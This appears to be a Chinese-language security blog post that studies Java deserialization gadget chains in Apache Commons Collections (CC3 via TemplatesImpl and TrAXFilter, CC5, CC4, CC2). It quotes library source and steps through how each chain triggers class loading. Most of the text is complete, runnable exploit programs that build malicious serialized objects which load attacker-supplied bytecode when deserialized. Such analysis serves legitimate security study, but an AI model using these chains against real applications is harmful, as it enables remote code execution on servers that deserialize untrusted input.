先但看一下这个类,loader为内部类TransletClassLoader定义的对象,TransletClassLoader继承ClassLoader,是一个自定义加载器,_bytecodes为二维byte数组,猜测_bytecodes中存放的是多个类的字节码;看try语句中,_Class为的Class数组,长度为_bytecodes的二维个数,_auxClasses是一个Hashmap并且是类中变量,在for循环中,对每一个_bytecodes执行loadClass操作,然后获取加载类的父类,如果父类不是AbstractTranslet,就将加载好的类存入_auxClasses中。如果整个_bytecodes中没有AbstractTranslet.class则会抛出错误。所以对于这个类,只要定义好_bytecodes(反射),执行这个方法就可以加载类,再找到执行方法的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
|
继续向下找,使用defineTransletClasses方法的位置,定位到三个方法
其中getTransletInstance方法有一个可以实例化对象的位置
简单分析一下,上面通过defineTransletClasses定义了类内变量_class,是一个load之后的Class数组,并且_transletIndex为数组中AbstractTranslet.class的位置,将其取出进行实例化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 可以实例化对象
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
|
继续向上,定位到类中唯一调用该方法的位置
一个公共方法,调用类中构造方法定义了一个TransformerImpl实例化对象,执行getTransletInstance方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
|
这样初步想法有了,写一版exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// CC3
Path path = Paths.get(System.getProperty("user.dir"), "Test.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl ti = new TemplatesImpl();
Field bs = ti.getClass().getDeclaredField("_bytecodes");
bs.setAccessible(true);
bs.set(ti, new byte[][]{Files.readAllBytes(path)});
Field n = ti.getClass().getDeclaredField("_name");
n.setAccessible(true);
n.set(ti, "123");
ti.newTransformer();
|
运行报空指针问题,问题出在defineTransletClasses定义loader时没有_tfactory,所以这边将能给的变量都给了尝试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
// CC3
Path path = Paths.get(System.getProperty("user.dir"), "Test.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "Test");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
templatesImpl.newTransformer();
|
测试还是不行,在调用loader.defineClass时出现我们自定义的攻击类加载失败的问题,分析了一通其实原因就是自己用命令编译使用的jdk与当前jdk不同,使用idea统一编译即可
与CC结合构造Exp,CC1改一下chain就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC3
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
Transformer[] trans = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", null, null),
new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
Object o = c.newInstance(Override.class, mapProxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
TrAXFilter
另一条路,也就是说不使用InvokeTransformer作为触发位置,可不可以找到直接触发newTransformer调用的位置,cc3作者使用了TrAXFilter类,分析一下
先对newTransformer方法简单查找,公共构造方法,直接调用
但是类无法序列化,这边用到了InstantiateTransformer类的transform方法
简单看一下,实例化一个传入class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
|
所以可以利用来直接触发TrAXFilter的构造方法,这样就避过了序列化
Exp(TrAXFilter)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC3 TrAXFliter
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
// TrAXFilter trAXFilter = new TrAXFilter(templatesImpl);
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
Object o = c.newInstance(Override.class, mapProxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
CommonsCollections 5
更换了触发readObject的类,调用链找到了BadAttributeExpExceptionl类中的readObject,看一下
首先会娶到序列化对象的val值,也就是传入的进行序列化的BadAttributeExpExceptionl实例化对象,然后对获取到的值类型进行判断,如果不是null并且不是String类型就进入第三个口执行该val的toString方法,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
|
这边用到了CC6的TiedMapEntry#toString,触发TiedMapEntry#getValue,这样后面部分就和CC6连起来了
1
2
3
|
public String toString() {
return getKey() + "=" + getValue();
}
|
Exp
这里需要注意不能直接构造方法传TiedMapEntry,同样会触发toString,反射一下就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC5
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
TiedMapEntry tME = new TiedMapEntry(lazyM, "123");
BadAttributeValueExpException bVEE = new BadAttributeValueExpException(null);
Field val = bVEE.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bVEE, tME);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(bVEE);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
CommonsCollections 4
在Commons Collections 4.0版本,修复了很多出现的问题导致lazymap等无法使用,但由于对TransformingComparator添加了反序列化接口,因此衍生出了CC4这条链
直接进TransformingComparator类看一下关键位置,compare方法直接触发transformer的transform
1
2
3
4
5
|
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
|
然后就是找到其他类中哪里调用了compare方法,于是找到了PriorityQueue类
进入siftDownUsingComparator,这里需要控制进入循环,所以要控制整个的size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
|
看一下哪里调用了这个方法,跟进一下,最后串起来链子readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> transform(),注意size赋值,不然不会进入heapify中的循环
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC4
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
new ConstantTransformer(1)
};
TransformingComparator tc = new TransformingComparator(new ChainedTransformer(trans));
PriorityQueue pq = new PriorityQueue(3, tc);
Field size = pq.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(pq, 3);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(pq);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
CommonsCollections 2
思路同CC4,只是使用InvokeTransformer进行作为命令触发位置,不使用TrAXFilter
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC2
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
Transformer[] trans = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", null, null),
new ConstantTransformer(1)
};
TransformingComparator tc = new TransformingComparator(new ChainedTransformer(trans));
PriorityQueue pq = new PriorityQueue(2, tc);
Field size = pq.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(pq, 2);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(pq);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|